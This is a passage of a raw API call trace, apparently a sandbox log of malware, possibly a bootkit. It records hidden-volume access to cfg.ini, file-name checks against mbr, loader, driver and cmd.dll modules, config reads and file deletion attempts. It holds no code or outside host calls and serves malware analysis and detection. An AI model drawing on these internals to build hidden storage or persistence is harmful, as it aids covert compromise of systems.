_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.550] KeEnterCriticalRegion () [0118.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.550] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350f000 [0118.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.550] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.550] IdePortDispatch () returned 0x103 [0118.551] KeWaitForMutexObject () returned 0x0 [0118.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.551] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.551] IdePortDispatch () returned 0x103 [0118.551] KeWaitForMutexObject () returned 0x0 [0118.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.551] KeLeaveCriticalRegion () [0118.551] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.551] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.551] KeEnterCriticalRegion () [0118.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.551] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.551] KeLeaveCriticalRegion () [0118.551] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.552] KeEnterCriticalRegion () [0118.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.552] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.552] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.552] KeLeaveCriticalRegion () [0118.552] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.552] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.552] KeEnterCriticalRegion () [0118.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.552] ExFreePoolWithTag (P=0xfffffa80039d7a00, Tag=0x0) [0118.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.552] KeLeaveCriticalRegion () [0118.552] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.552] ReleaseMutex (hMutex=0xf0) returned 1 [0118.552] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.552] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.552] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.552] KeEnterCriticalRegion () [0118.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.552] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.552] IdePortDispatch () returned 0x103 [0118.552] KeWaitForMutexObject () returned 0x0 [0118.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.552] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.552] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.552] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.552] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.552] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c9b60 [0118.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.552] KeLeaveCriticalRegion () [0118.552] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.552] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.553] KeEnterCriticalRegion () [0118.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.553] KeLeaveCriticalRegion () [0118.553] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.553] KeEnterCriticalRegion () [0118.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.553] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.553] IdePortDispatch () returned 0x103 [0118.553] KeWaitForMutexObject () returned 0x0 [0118.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.553] KeLeaveCriticalRegion () [0118.553] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.553] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.553] KeEnterCriticalRegion () [0118.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003510000 [0118.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.553] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.553] IdePortDispatch () returned 0x103 [0118.553] KeWaitForMutexObject () returned 0x0 [0118.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.554] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.554] IdePortDispatch () returned 0x103 [0118.554] KeWaitForMutexObject () returned 0x0 [0118.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.554] KeLeaveCriticalRegion () [0118.554] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.554] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.554] KeEnterCriticalRegion () [0118.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.554] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.554] KeLeaveCriticalRegion () [0118.554] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.555] KeEnterCriticalRegion () [0118.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.555] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.555] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.555] KeLeaveCriticalRegion () [0118.555] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.555] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.555] KeEnterCriticalRegion () [0118.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.555] ExFreePoolWithTag (P=0xfffffa80039c9b60, Tag=0x0) [0118.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.555] KeLeaveCriticalRegion () [0118.555] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.555] ReleaseMutex (hMutex=0xf0) returned 1 [0118.555] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.555] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.555] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.555] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.555] KeEnterCriticalRegion () [0118.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.555] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.555] IdePortDispatch () returned 0x103 [0118.555] KeWaitForMutexObject () returned 0x0 [0118.555] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.555] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.555] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.555] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.555] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.555] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.555] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.555] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.555] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.555] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.555] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.556] KeLeaveCriticalRegion () [0118.556] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.556] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.556] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.556] KeEnterCriticalRegion () [0118.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.556] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.556] IdePortDispatch () returned 0x103 [0118.556] KeWaitForMutexObject () returned 0x0 [0118.556] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.556] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.556] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.556] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.556] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.556] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.556] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.556] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.556] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.556] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.557] KeLeaveCriticalRegion () [0118.557] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.557] ReleaseMutex (hMutex=0x100) returned 1 [0118.557] Sleep (dwMilliseconds=0x2bf20) [0118.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69dce9d0, dwHighDateTime=0x1d24fa4)) [0118.565] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.565] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.565] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.565] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.565] KeEnterCriticalRegion () [0118.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.565] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.565] IdePortDispatch () returned 0x103 [0118.565] KeWaitForMutexObject () returned 0x0 [0118.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.565] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.565] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.566] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.566] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.566] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cdd10 [0118.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.566] KeLeaveCriticalRegion () [0118.566] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.566] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.566] KeEnterCriticalRegion () [0118.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.566] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.566] KeLeaveCriticalRegion () [0118.566] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.566] KeEnterCriticalRegion () [0118.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.566] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.566] IdePortDispatch () returned 0x103 [0118.566] KeWaitForMutexObject () returned 0x0 [0118.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.566] KeLeaveCriticalRegion () [0118.566] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.566] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.566] KeEnterCriticalRegion () [0118.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003513000 [0118.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.566] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.566] IdePortDispatch () returned 0x103 [0118.566] KeWaitForMutexObject () returned 0x0 [0118.567] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.567] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.567] IdePortDispatch () returned 0x103 [0118.567] KeWaitForMutexObject () returned 0x0 [0118.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.567] KeLeaveCriticalRegion () [0118.567] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.568] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.568] KeEnterCriticalRegion () [0118.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.568] KeLeaveCriticalRegion () [0118.568] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.568] KeEnterCriticalRegion () [0118.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.568] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.568] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.568] KeLeaveCriticalRegion () [0118.568] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.568] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.568] KeEnterCriticalRegion () [0118.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.568] ExFreePoolWithTag (P=0xfffffa80039cdd10, Tag=0x0) [0118.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.568] KeLeaveCriticalRegion () [0118.568] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.568] ReleaseMutex (hMutex=0xf0) returned 1 [0118.568] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.568] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.568] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.568] KeEnterCriticalRegion () [0118.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 